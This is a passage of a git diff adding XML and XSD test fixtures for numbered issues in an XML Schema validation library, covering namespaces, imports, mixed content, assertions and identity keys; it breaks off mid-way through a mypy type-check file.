text about the example. The References element provides additional information.</xs:documentation> + <xs:documentation>The optional Demonstrative_Example_ID attribute is used by the internal CWE team to uniquely identify examples that are repeated across any number of individual weaknesses. To help make sure that the details of these common examples stay synchronized, the Demonstrative_Example_ID is used to quickly identify those examples across CWE that should be identical. The identifier is a string and should match the following format: DX-1.</xs:documentation> + </xs:annotation> + + <xs:sequence> + <xs:element name="Demonstrative_Example" minOccurs="1" maxOccurs="unbounded"> + <xs:complexType> + <xs:sequence> + <xs:element name="Title_Text" type="xs:string" minOccurs="0" maxOccurs="1"/> + <xs:element name="Intro_Text" type="cwe:StructuredTextType" minOccurs="1" maxOccurs="1"/> + <xs:choice minOccurs="0" maxOccurs="unbounded"> + <xs:element name="Body_Text" type="cwe:StructuredTextType"/> + <xs:element name="Example_Code" type="cwe:StructuredCodeType"/> + </xs:choice> + <xs:element name="References" type="cwe:ReferencesType" minOccurs="0" maxOccurs="1"/> + </xs:sequence> + <xs:attribute name="Demonstrative_Example_ID" type="xs:string"/> + </xs:complexType> + </xs:element> + </xs:sequence> + </xs:complexType> + +</xs:schema> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_341/issue_341-ext.xsd b/tests/test_cases/issues/issue_341/issue_341-ext.xsd new file mode 100644 index 0000000..04609d5 --- /dev/null +++ b/tests/test_cases/issues/issue_341/issue_341-ext.xsd @@ -0,0 +1,46 @@ +<?xml version="1.0" encoding="windows-1251"?> +<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified"> + <xs:element name="TEST"> + <xs:complexType> + <xs:sequence> + <xs:element name="TEST_EL" maxOccurs="1000"> + <xs:complexType> + <xs:sequence> + <xs:element name="TEST_EL_2"> + <xs:complexType> + <xs:sequence> + <xs:element name="exists_in_xml" type="test_type"/> + <xs:element name="not_exists_in_xml" type="test_type" minOccurs="0"/> + <xs:choice> + <xs:element name="choice_elem1" minOccurs="0"/> + <xs:element name="choice_elem2" minOccurs="0"/> + </xs:choice> + </xs:sequence> + </xs:complexType> + </xs:element> + </xs:sequence> + <xs:attribute name="Date" type="xs:date" use="required"/> + </xs:complexType> + </xs:element> + </xs:sequence> + </xs:complexType> + </xs:element> + <xs:complexType name="test_type"> + <xs:attribute name="test_attr"> + <xs:simpleType> + <xs:restriction base="xs:string"> + <xs:minLength value="1"/> + <xs:maxLength value="60"/> + </xs:restriction> + </xs:simpleType> + </xs:attribute> + <xs:attribute name="test_attr_2"> + <xs:simpleType> + <xs:restriction base="xs:string"> + <xs:minLength value="1"/> + <xs:maxLength value="60"/> + </xs:restriction> + </xs:simpleType> + </xs:attribute> + </xs:complexType> +</xs:schema> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_341/issue_341.xml b/tests/test_cases/issues/issue_341/issue_341.xml new file mode 100644 index 0000000..ecaf9eb --- /dev/null +++ b/tests/test_cases/issues/issue_341/issue_341.xml @@ -0,0 +1,8 @@ +<?xml version="1.0"?> +<TEST> + <TEST_EL Date="2022-10-03"> + <TEST_EL_2> + <exists_in_xml test_attr="test_value_attr" /> + </TEST_EL_2> + </TEST_EL> +</TEST> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_341/issue_341.xsd b/tests/test_cases/issues/issue_341/issue_341.xsd new file mode 100644 index 0000000..10f8017 --- /dev/null +++ b/tests/test_cases/issues/issue_341/issue_341.xsd @@ -0,0 +1,42 @@ +<?xml version="1.0" encoding="windows-1251"?> +<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified"> + <xs:element name="TEST"> + <xs:complexType> + <xs:sequence> + <xs:element name="TEST_EL" maxOccurs="1000"> + <xs:complexType> + <xs:sequence> + <xs:element name="TEST_EL_2"> + <xs:complexType> + <xs:sequence> + <xs:element name="exists_in_xml" type="test_type"/> + <xs:element name="not_exists_in_xml" type="test_type" minOccurs="0"/> + </xs:sequence> + </xs:complexType> + </xs:element> + </xs:sequence> + <xs:attribute name="Date" type="xs:date" use="required"/> + </xs:complexType> + </xs:element> + </xs:sequence> + </xs:complexType> + </xs:element> + <xs:complexType name="test_type"> + <xs:attribute name="test_attr"> + <xs:simpleType> + <xs:restriction base="xs:string"> + <xs:minLength value="1"/> + <xs:maxLength value="60"/> + </xs:restriction> + </xs:simpleType> + </xs:attribute> + <xs:attribute name="test_attr_2"> + <xs:simpleType> + <xs:restriction base="xs:string"> + <xs:minLength value="1"/> + <xs:maxLength value="60"/> + </xs:restriction> + </xs:simpleType> + </xs:attribute> + </xs:complexType> +</xs:schema> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_349/issue_349.xml b/tests/test_cases/issues/issue_349/issue_349.xml new file mode 100644 index 0000000..fc736e0 --- /dev/null +++ b/tests/test_cases/issues/issue_349/issue_349.xml @@ -0,0 +1,7 @@ +<?xml version="1.0" encoding="UTF-8"?> +<!--Sample XML file generated by XMLSpy v2022 rel. 2 (x64) (http://www.altova.com)--> +<ra:test xmlns:ra="http://www.test.com/ia/xml" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://www.test.com/ia/xml issue_349.xsd"> + <ra:acquisition/> +</ra:test> diff --git a/tests/test_cases/issues/issue_349/issue_349.xsd b/tests/test_cases/issues/issue_349/issue_349.xsd new file mode 100644 index 0000000..b43d269 --- /dev/null +++ b/tests/test_cases/issues/issue_349/issue_349.xsd @@ -0,0 +1,12 @@ +<?xml version="1.0" encoding="UTF-8"?> +<!-- edited with XMLSpy v2022 rel. 2 (x64) (http://www.altova.com) by AN--> +<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:vc="http://www.w3.org/2007/XMLSchema-versioning" xmlns:ra="http://www.test.com/ia/xml" xmlns:ns="2" targetNamespace="http://www.test.com/ia/xml" elementFormDefault="qualified" attributeFormDefault="unqualified" vc:minVersion="1.1"> + <xs:element name="test"> + <xs:complexType> + <xs:sequence> + <xs:element name="acquisition"/> + </xs:sequence> + </xs:complexType> + </xs:element> +</xs:schema> + diff --git a/tests/test_cases/issues/issue_362/dir1/dir2/issue_362_2.xsd b/tests/test_cases/issues/issue_362/dir1/dir2/issue_362_2.xsd new file mode 100644 index 0000000..c5bf15a --- /dev/null +++ b/tests/test_cases/issues/issue_362/dir1/dir2/issue_362_2.xsd @@ -0,0 +1,13 @@ +<xs:schema + xmlns:xs="http://www.w3.org/2001/XMLSchema" + targetNamespace="http://xmlschema.test/tns2" + elementFormDefault="qualified"> + + <xs:include schemaLocation="../../dir2/issue_362_2.xsd"/> + <xs:import namespace="http://xmlschema.test/tns1" schemaLocation="http://xmlschema.test/tns1"/> + <xs:import namespace="http://xmlschema.test/tns1" schemaLocation="../issue_362_1.xsd"/> + + <xs:element name="item2" /> + +</xs:schema> + diff --git a/tests/test_cases/issues/issue_362/dir1/issue_362_1.xsd b/tests/test_cases/issues/issue_362/dir1/issue_362_1.xsd new file mode 100644 index 0000000..e8b3bb8 --- /dev/null +++ b/tests/test_cases/issues/issue_362/dir1/issue_362_1.xsd @@ -0,0 +1,11 @@ +<xs:schema + xmlns:xs="http://www.w3.org/2001/XMLSchema" + targetNamespace="http://xmlschema.test/tns1" + elementFormDefault="qualified"> + + <xs:include schemaLocation="../issue_362_1.xsd"/> + <xs:import namespace="http://xmlschema.test/tns2" schemaLocation="http://xmlschema.test/tns2"/> + + <xs:element name="item1" /> + +</xs:schema> diff --git a/tests/test_cases/issues/issue_362/dir2/issue_362_2.xsd b/tests/test_cases/issues/issue_362/dir2/issue_362_2.xsd new file mode 100644 index 0000000..032f46c --- /dev/null +++ b/tests/test_cases/issues/issue_362/dir2/issue_362_2.xsd @@ -0,0 +1,12 @@ +<xs:schema + xmlns:xs="http://www.w3.org/2001/XMLSchema" + targetNamespace="http://xmlschema.test/tns2" + elementFormDefault="qualified"> + + <xs:include schemaLocation="../dir1/dir2/issue_362_2.xsd"/> + <xs:import namespace="http://xmlschema.test/tns1" schemaLocation="http://xmlschema.test/tns1"/> + + <xs:element name="item3" /> + +</xs:schema> + diff --git a/tests/test_cases/issues/issue_362/issue_362_1.xsd b/tests/test_cases/issues/issue_362/issue_362_1.xsd new file mode 100644 index 0000000..052e2e8 --- /dev/null +++ b/tests/test_cases/issues/issue_362/issue_362_1.xsd @@ -0,0 +1,25 @@ +<!-- +A test for export schemas with crossed imports/includes and additional failing remote imports. +--> +<xs:schema + xmlns:xs="http://www.w3.org/2001/XMLSchema" + xmlns:tns1="http://xmlschema.test/tns1" + xmlns:tns2="http://xmlschema.test/tns2" + targetNamespace="http://xmlschema.test/tns1"> + + <xs:include schemaLocation="./dir1/../dir1/issue_362_1.xsd"/> + <xs:import namespace="http://xmlschema.test/tns2" schemaLocation="http://xmlschema.test/tns2"/> + <xs:import namespace="http://xmlschema.test/tns2" schemaLocation="dir1/dir2/issue_362_2.xsd"/> + + <xs:element name="root"> + <xs:complexType> + <xs:sequence> + <xs:element ref="tns1:item1" /> + <xs:element ref="tns2:item2" /> + <xs:element ref="tns2:item3" /> + </xs:sequence> + </xs:complexType> + </xs:element> + +</xs:schema> + diff --git a/tests/test_cases/issues/issue_363/issue_363-invalid-1.xml b/tests/test_cases/issues/issue_363/issue_363-invalid-1.xml new file mode 100644 index 0000000..c7c110a --- /dev/null +++ b/tests/test_cases/issues/issue_363/issue_363-invalid-1.xml @@ -0,0 +1,11 @@ +<?xml version="1.0"?> +<!-- Invalid instance: no default namespace. --> +<note xmlns:xsd="http://xmlschema.test/ns" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://xmlschema.test/ns issue_363.xsd"> + +<to>Tove</to> +<from>Jani</from> +<heading>Reminder</heading> +<body>Don't forget me this weekend!</body> +</note> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_363/issue_363-invalid-2.xml b/tests/test_cases/issues/issue_363/issue_363-invalid-2.xml new file mode 100644 index 0000000..603d097 --- /dev/null +++ b/tests/test_cases/issues/issue_363/issue_363-invalid-2.xml @@ -0,0 +1,11 @@ +<?xml version="1.0"?> +<!-- Invalid instance: namespace mismatch. --> +<note xmlns="http://xmlschema.test/ns2" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://xmlschema.test/ns issue_363.xsd"> + +<to>Tove</to> +<from>Jani</from> +<heading>Reminder</heading> +<body>Don't forget me this weekend!</body> +</note> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_363/issue_363-invalid-3.xml b/tests/test_cases/issues/issue_363/issue_363-invalid-3.xml new file mode 100644 index 0000000..82a078b --- /dev/null +++ b/tests/test_cases/issues/issue_363/issue_363-invalid-3.xml @@ -0,0 +1,11 @@ +<?xml version="1.0"?> +<!-- Invalid instance: no default namespace and namespace mismatch. --> +<note xmlns:xsd="http://xmlschema.test/ns2" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://xmlschema.test/ns issue_363.xsd"> + +<to>Tove</to> +<from>Jani</from> +<heading>Reminder</heading> +<body>Don't forget me this weekend!</body> +</note> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_363/issue_363.xml b/tests/test_cases/issues/issue_363/issue_363.xml new file mode 100644 index 0000000..2e7a3f4 --- /dev/null +++ b/tests/test_cases/issues/issue_363/issue_363.xml @@ -0,0 +1,11 @@ +<?xml version="1.0"?> +<!-- Valid instance --> +<note xmlns="http://xmlschema.test/ns" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://xmlschema.test/ns issue_363.xsd"> + +<to>Tove</to> +<from>Jani</from> +<heading>Reminder</heading> +<body>Don't forget me this weekend!</body> +</note> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_363/issue_363.xsd b/tests/test_cases/issues/issue_363/issue_363.xsd new file mode 100644 index 0000000..9c13971 --- /dev/null +++ b/tests/test_cases/issues/issue_363/issue_363.xsd @@ -0,0 +1,18 @@ +<?xml version="1.0"?> +<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" + targetNamespace="http://xmlschema.test/ns" + xmlns="http://xmlschema.test/ns" + elementFormDefault="qualified"> + +<xs:element name="note"> + <xs:complexType> + <xs:sequence> + <xs:element name="to" type="xs:string"/> + <xs:element name="from" type="xs:string"/> + <xs:element name="heading" type="xs:string"/> + <xs:element name="body" type="xs:string"/> + </xs:sequence> + </xs:complexType> +</xs:element> + +</xs:schema> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_372/issue_372-1.xml b/tests/test_cases/issues/issue_372/issue_372-1.xml new file mode 100644 index 0000000..3a70210 --- /dev/null +++ b/tests/test_cases/issues/issue_372/issue_372-1.xml @@ -0,0 +1,4 @@ +<parentTag> + <invalidTag> + </invalidTag> +</parentTag> diff --git a/tests/test_cases/issues/issue_372/issue_372-2.xml b/tests/test_cases/issues/issue_372/issue_372-2.xml new file mode 100644 index 0000000..aaec66e --- /dev/null +++ b/tests/test_cases/issues/issue_372/issue_372-2.xml @@ -0,0 +1,4 @@ +<parentTag> + <optionalSecondChildTag> + </optionalSecondChildTag> +</parentTag> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_372/issue_372.xsd b/tests/test_cases/issues/issue_372/issue_372.xsd new file mode 100644 index 0000000..7850d2a --- /dev/null +++ b/tests/test_cases/issues/issue_372/issue_372.xsd @@ -0,0 +1,14 @@ +<?xml version="1.0" encoding="UTF-8"?> +<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" + elementFormDefault="qualified"> + <xs:element name="parentTag"> + <xs:complexType> + <xs:sequence> + <xs:element ref="requiredChildTag" minOccurs="1" maxOccurs="1"/> + <xs:element ref="optionalSecondChildTag" minOccurs="0"/> + </xs:sequence> + </xs:complexType> + </xs:element> + <xs:element name="requiredChildTag"/> + <xs:element name="optionalSecondChildTag"/> +</xs:schema> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_386/issue_386-1.xml b/tests/test_cases/issues/issue_386/issue_386-1.xml new file mode 100644 index 0000000..19ffaeb --- /dev/null +++ b/tests/test_cases/issues/issue_386/issue_386-1.xml @@ -0,0 +1,21 @@ +<foods> +<food type="meat"> + <name>Chicken</name> +</food> +<food type="meat"> + <name>Beef</name> +</food> +<food type="meat"> + <name>Pork</name> +</food> +<food type="fruit"> + <name>Banana</name> +</food> +<food type="fruit"> + <name>Apple</name> +</food> +<food type="vegetable"> + <name>Carrot</name> +</food> +<recon vegetables="1" fruits="2" meats="3"/> +</foods> diff --git a/tests/test_cases/issues/issue_386/issue_386-2.xml b/tests/test_cases/issues/issue_386/issue_386-2.xml new file mode 100644 index 0000000..3173dac --- /dev/null +++ b/tests/test_cases/issues/issue_386/issue_386-2.xml @@ -0,0 +1,21 @@ +<foods> +<food type="meat"> + <name>Chicken</name> +</food> +<food type="meat"> + <name>Beef</name> +</food> +<food type="meat"> + <name>Pork</name> +</food> +<food type="fruit"> + <name>Banana</name> +</food> +<food type="fruit"> + <name>Apple</name> +</food> +<food type="vegetable"> + <name>Carrot</name> +</food> +<recon vegetables="1" fruits="3" meats="3"/> +</foods> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_386/issue_386-2.xsd b/tests/test_cases/issues/issue_386/issue_386-2.xsd new file mode 100644 index 0000000..ab5f65c --- /dev/null +++ b/tests/test_cases/issues/issue_386/issue_386-2.xsd @@ -0,0 +1,35 @@ +<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:vc="http://www.w3.org/2007/XMLSchema-versioning" elementFormDefault="qualified" attributeFormDefault="unqualified" vc:minVersion="1.1"> +<xs:element name="food" type="foodType"/> +<xs:complexType name="foodType"> + <xs:sequence> + <xs:element name="name" type="xs:string"/> + </xs:sequence> + <xs:attribute name="type"> + <xs:simpleType> + <xs:restriction base="xs:string"> + <xs:enumeration value="meat"/> + <xs:enumeration value="vegetable"/> + <xs:enumeration value="fruit"/> + </xs:restriction> + </xs:simpleType> + </xs:attribute> +</xs:complexType> +<xs:element name="foods"> + <xs:annotation> + <xs:documentation>Comment describing your root element</xs:documentation> + </xs:annotation> + <xs:complexType> + <xs:sequence> + <xs:element ref="food" maxOccurs="unbounded"/> + <xs:element ref="recon"/> + </xs:sequence> + <xs:assert test="count(./food[@type='fruit']) eq ./recon/@fruits"/> + </xs:complexType> +</xs:element> +<xs:element name="recon" type="reconType"/> +<xs:complexType name="reconType"> + <xs:attribute name="fruits" type="xs:integer"/> + <xs:attribute name="vegetables" type="xs:integer"/> + <xs:attribute name="meats" type="xs:integer"/> +</xs:complexType> +</xs:schema> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_386/issue_386.xsd b/tests/test_cases/issues/issue_386/issue_386.xsd new file mode 100644 index 0000000..d2f195f --- /dev/null +++ b/tests/test_cases/issues/issue_386/issue_386.xsd @@ -0,0 +1,35 @@ +<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:vc="http://www.w3.org/2007/XMLSchema-versioning" elementFormDefault="qualified" attributeFormDefault="unqualified" vc:minVersion="1.1"> +<xs:element name="food" type="foodType"/> +<xs:complexType name="foodType"> + <xs:sequence> + <xs:element name="name" type="xs:string"/> + </xs:sequence> + <xs:attribute name="type"> + <xs:simpleType> + <xs:restriction base="xs:string"> + <xs:enumeration value="meat"/> + <xs:enumeration value="vegetable"/> + <xs:enumeration value="fruit"/> + </xs:restriction> + </xs:simpleType> + </xs:attribute> +</xs:complexType> +<xs:element name="foods"> + <xs:annotation> + <xs:documentation>Comment describing your root element</xs:documentation> + </xs:annotation> + <xs:complexType> + <xs:sequence> + <xs:element ref="food" maxOccurs="unbounded"/> + <xs:element ref="recon"/> + </xs:sequence> + <xs:assert test="count(/foods/food[@type='fruit']) eq /foods/recon/@fruits"/> + </xs:complexType> +</xs:element> +<xs:element name="recon" type="reconType"/> +<xs:complexType name="reconType"> + <xs:attribute name="fruits" type="xs:integer"/> + <xs:attribute name="vegetables" type="xs:integer"/> + <xs:attribute name="meats" type="xs:integer"/> +</xs:complexType> +</xs:schema> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_414/issue_414.xml b/tests/test_cases/issues/issue_414/issue_414.xml new file mode 100644 index 0000000..aa2fc3d --- /dev/null +++ b/tests/test_cases/issues/issue_414/issue_414.xml @@ -0,0 +1,4 @@ +<?xml version="1.0" encoding="utf-8"?> +<root + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:noNamespaceSchemaLocation="issue_414.xsd">abc<elem/>xyz</root> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_414/issue_414.xsd b/tests/test_cases/issues/issue_414/issue_414.xsd new file mode 100644 index 0000000..385f7fb --- /dev/null +++ b/tests/test_cases/issues/issue_414/issue_414.xsd @@ -0,0 +1,17 @@ +<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + + <xs:complexType name="mixedElement" mixed="true"> + <xs:choice minOccurs="0" maxOccurs="unbounded"> + <xs:element name="elem"/> + </xs:choice> + </xs:complexType> + + <xs:element name="root"> + <xs:complexType> + <xs:complexContent> + <xs:extension base="mixedElement"/> + </xs:complexContent> + </xs:complexType> + </xs:element> + +</xs:schema> diff --git a/tests/test_cases/issues/issue_414/issue_414b.xsd b/tests/test_cases/issues/issue_414/issue_414b.xsd new file mode 100644 index 0000000..9345bbb --- /dev/null +++ b/tests/test_cases/issues/issue_414/issue_414b.xsd @@ -0,0 +1,17 @@ +<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + + <xs:complexType name="mixedElement" mixed="true"> + <xs:choice minOccurs="0" maxOccurs="unbounded"> + <xs:element name="elem"/> + </xs:choice> + </xs:complexType> + + <xs:element name="root"> + <xs:complexType mixed="false"> + <xs:complexContent> + <xs:extension base="mixedElement"/> + </xs:complexContent> + </xs:complexType> + </xs:element> + +</xs:schema> diff --git a/tests/test_cases/issues/issue_414/issue_414ne-inv1.xsd b/tests/test_cases/issues/issue_414/issue_414ne-inv1.xsd new file mode 100644 index 0000000..c524b1f --- /dev/null +++ b/tests/test_cases/issues/issue_414/issue_414ne-inv1.xsd @@ -0,0 +1,21 @@ +<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + + <xs:complexType name="mixedElement" mixed="true"> + <xs:choice minOccurs="0" maxOccurs="unbounded"> + <xs:element name="elem"/> + </xs:choice> + </xs:complexType> + + <xs:element name="root"> + <xs:complexType mixed="false"> <!-- Invalid because it's not empty --> + <xs:complexContent> + <xs:extension base="mixedElement"> + <xs:choice> + <xs:element name="elem1"/> + </xs:choice> + </xs:extension> + </xs:complexContent> + </xs:complexType> + </xs:element> + +</xs:schema> diff --git a/tests/test_cases/issues/issue_414/issue_414ne-inv2.xsd b/tests/test_cases/issues/issue_414/issue_414ne-inv2.xsd new file mode 100644 index 0000000..3fbb2f8 --- /dev/null +++ b/tests/test_cases/issues/issue_414/issue_414ne-inv2.xsd @@ -0,0 +1,21 @@ +<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + + <xs:complexType name="mixedElement" mixed="true"> + <xs:choice minOccurs="0" maxOccurs="unbounded"> + <xs:element name="elem"/> + </xs:choice> + </xs:complexType> + + <xs:element name="root"> + <xs:complexType> + <xs:complexContent> + <xs:extension base="mixedElement"> + <xs:choice> + <xs:element name="elem1"/> + </xs:choice> + </xs:extension> + </xs:complexContent> + </xs:complexType> + </xs:element> + +</xs:schema> diff --git a/tests/test_cases/issues/issue_414/issue_414ne.xsd b/tests/test_cases/issues/issue_414/issue_414ne.xsd new file mode 100644 index 0000000..dace1ff --- /dev/null +++ b/tests/test_cases/issues/issue_414/issue_414ne.xsd @@ -0,0 +1,21 @@ +<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + + <xs:complexType name="mixedElement" mixed="true"> + <xs:choice minOccurs="0" maxOccurs="unbounded"> + <xs:element name="elem"/> + </xs:choice> + </xs:complexType> + + <xs:element name="root"> + <xs:complexType mixed="true"> + <xs:complexContent> + <xs:extension base="mixedElement"> + <xs:choice> + <xs:element name="elem1"/> + </xs:choice> + </xs:extension> + </xs:complexContent> + </xs:complexType> + </xs:element> + +</xs:schema> diff --git a/tests/test_cases/issues/issue_417/issue_417.xml b/tests/test_cases/issues/issue_417/issue_417.xml new file mode 100644 index 0000000..095249f --- /dev/null +++ b/tests/test_cases/issues/issue_417/issue_417.xml @@ -0,0 +1,2 @@ +<subgroupMember xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:noNamespaceSchemaLocation="issue_417.xsd">1</subgroupMember> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_417/issue_417.xsd b/tests/test_cases/issues/issue_417/issue_417.xsd new file mode 100644 index 0000000..6552b2f --- /dev/null +++ b/tests/test_cases/issues/issue_417/issue_417.xsd @@ -0,0 +1,4 @@ +<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="abstractSubgroupHead" type="xs:integer" abstract="true"/> + <xs:element name="subgroupMember" type="xs:positiveInteger" substitutionGroup="abstractSubgroupHead"/> +</xs:schema> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_418/issue_418-invalid.xml b/tests/test_cases/issues/issue_418/issue_418-invalid.xml new file mode 100644 index 0000000..fe2c8dc --- /dev/null +++ b/tests/test_cases/issues/issue_418/issue_418-invalid.xml @@ -0,0 +1,11 @@ +<?xml version="1.0" encoding="utf-8"?> + +<mqttservices xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:noNamespaceSchemaLocation="issue_418.xsd" active="true"> + <events> + <event trigger="TS01" command="powu56.py" parameters="-on -ports '1,2,3'" /> + <event trigger="TS08" command="powu56.py" parameters="-off -ports '1,2,3'"/> + <event trigger="TS06" attime="2:00" command="powu56.py" parameters="-off -ports '1,2,3'"/> + </events> +</mqttservices> + diff --git a/tests/test_cases/issues/issue_418/issue_418.xml b/tests/test_cases/issues/issue_418/issue_418.xml new file mode 100644 index 0000000..7a481a4 --- /dev/null +++ b/tests/test_cases/issues/issue_418/issue_418.xml @@ -0,0 +1,11 @@ +<?xml version="1.0" encoding="utf-8"?> + +<mqttservices xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:noNamespaceSchemaLocation="issue_418.xsd" active="true"> + <events> + <event trigger="TS01" command="powu56.py" parameters="-on -ports '1,2,3'" /> + <event trigger="TS08" command="powu56.py" parameters="-off -ports '1,2,3'"/> + <event attime="2:00" command="powu56.py" parameters="-off -ports '1,2,3'"/> + </events> +</mqttservices> + diff --git a/tests/test_cases/issues/issue_418/issue_418.xsd b/tests/test_cases/issues/issue_418/issue_418.xsd new file mode 100644 index 0000000..233fc68 --- /dev/null +++ b/tests/test_cases/issues/issue_418/issue_418.xsd @@ -0,0 +1,31 @@ +<xs:schema attributeFormDefault="unqualified" elementFormDefault="qualified" + xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:complexType name="eventType"> + <xs:simpleContent> + <xs:extension base="xs:string"> + <xs:attribute type="xs:string" name="trigger"/> + <xs:attribute type="xs:string" name="attime"/> + <xs:attribute type="xs:string" name="command" use="optional"/> + <xs:attribute type="xs:string" name="parameters" use="optional"/> + </xs:extension> + </xs:simpleContent> + </xs:complexType> + <xs:complexType name="eventsType"> + <xs:sequence> + <xs:element type="eventType" name="event" maxOccurs="unbounded" minOccurs="0"> + <xs:key name="attributeKey"> + <xs:selector xpath="."/> + <xs:field xpath="@trigger|@attime"/> + </xs:key> + </xs:element> + </xs:sequence> + </xs:complexType> + <xs:complexType name="mqttservicesType"> + <xs:sequence> + <xs:element type="eventsType" name="events"/> + </xs:sequence> + <xs:attribute type="xs:string" name="active"/> + </xs:complexType> + <xs:element name="mqttservices" type="mqttservicesType"/> +</xs:schema> + diff --git a/tests/test_cases/issues/issue_437/issue_437-1.xml b/tests/test_cases/issues/issue_437/issue_437-1.xml new file mode 100644 index 0000000..829f8b8 --- /dev/null +++ b/tests/test_cases/issues/issue_437/issue_437-1.xml @@ -0,0 +1,8 @@ +<?xml version="1.0" encoding="utf-8"?> +<PlexilPlan xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:noNamespaceSchemaLocation="issue_437.xsd"> + <Node NodeType="Empty"> + <Comment> This is a comment. </Comment> + <NodeId>One</NodeId> + </Node> +</PlexilPlan> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_437/issue_437-2.xml b/tests/test_cases/issues/issue_437/issue_437-2.xml new file mode 100644 index 0000000..4f01d3b --- /dev/null +++ b/tests/test_cases/issues/issue_437/issue_437-2.xml @@ -0,0 +1,7 @@ +<?xml version="1.0" encoding="utf-8"?> +<PlexilPlan xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:noNamespaceSchemaLocation="issue_437.xsd"> + <Node NodeType="Empty"> + <NodeId>One</NodeId> + </Node> +</PlexilPlan> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_437/issue_437.xsd b/tests/test_cases/issues/issue_437/issue_437.xsd new file mode 100644 index 0000000..021c63d --- /dev/null +++ b/tests/test_cases/issues/issue_437/issue_437.xsd @@ -0,0 +1,80 @@ +<?xml version="1.0" encoding="UTF-8"?> + +<!DOCTYPE xs:schema PUBLIC "-//W3C//DTD XSD 1.1//EN" "http://www.w3.org/2009/XMLSchema/XMLSchema.dtd" > + +<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" + xmlns:xml="http://www.w3.org/XML/1998/namespace" + xml:lang="en"> + + <xs:attribute name="NodeType"> + <xs:simpleType> + <xs:restriction base="xs:NMTOKEN"> + <xs:enumeration value="NodeList"/> + <xs:enumeration value="Empty"/> + </xs:restriction> + </xs:simpleType> + </xs:attribute> + + <xs:element name="Comment" type="xs:string"/> + + <!-- These are elements which may be omitted from a valid Node --> + <xs:group name="ActionOptions"> + <xs:all> + <xs:element ref="Comment" minOccurs="0"/> + </xs:all> + </xs:group> + + <xs:element name="NodeId"> + <xs:complexType> + <xs:simpleContent> + <xs:extension base="xs:NCName"> + <xs:attribute name="generated" type="xs:boolean" /> + </xs:extension> + </xs:simpleContent> + </xs:complexType> + </xs:element> + + <xs:element name="NodeList"> + <xs:complexType> + <xs:sequence> + <xs:group ref="ActionGroup" minOccurs="0" maxOccurs="unbounded"/> + </xs:sequence> + </xs:complexType> + </xs:element> + + <xs:element name="NodeBody"> + <xs:complexType> + <xs:choice> + <xs:element ref="NodeList"/> + </xs:choice> + </xs:complexType> + </xs:element> + + <xs:complexType name="NodeActionType"> + <xs:all> + <xs:group ref="ActionOptions"/> + <xs:element ref="NodeId"/> + <xs:element ref="NodeBody" minOccurs="0"/> + </xs:all> + <xs:attribute ref="NodeType" use="required"/> + </xs:complexType> + + <xs:element name="Node" type="NodeActionType" /> + + <xs:group name="ActionGroup"> + <xs:choice> + <xs:element ref="Node"/> + </xs:choice> + </xs:group> + + <xs:element name="PlexilPlan"> + <xs:complexType> + <xs:sequence> + <xs:group ref="ActionGroup"/> + </xs:sequence> + <!-- Attempt to imitate rncfix --> + <xs:anyAttribute namespace="http://www.w3.org/2001/XMLSchema-instance" + processContents="skip"/> + </xs:complexType> + </xs:element> +</xs:schema> \ No newline at end of file diff --git a/tests/test_cases/mypy/extra_validator.py b/tests/test_cases/mypy/extra_validator.py new file mode 100644 index 0000000..5a8a92a --- /dev/null +++ b/tests/test_cases/mypy/extra_validator.py @@ -0,0 +1,33 @@ +from typing import Iterator, Optional +from xml.etree import ElementTree +import xmlschema + +document = ElementTree.fromstring("<id>http://example.org</id>") +schema = xmlschema.XMLSchema11("""\ +<?xml version="1.0" encoding="utf-8"?> +<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"> + <xsd:element name="id" type="xsd:anyURI" /> +</xsd:schema> +""") + + +def extra_validator1( + element: ElementTree.Element, + xsd_element: xmlschema.XsdElement, +) -> 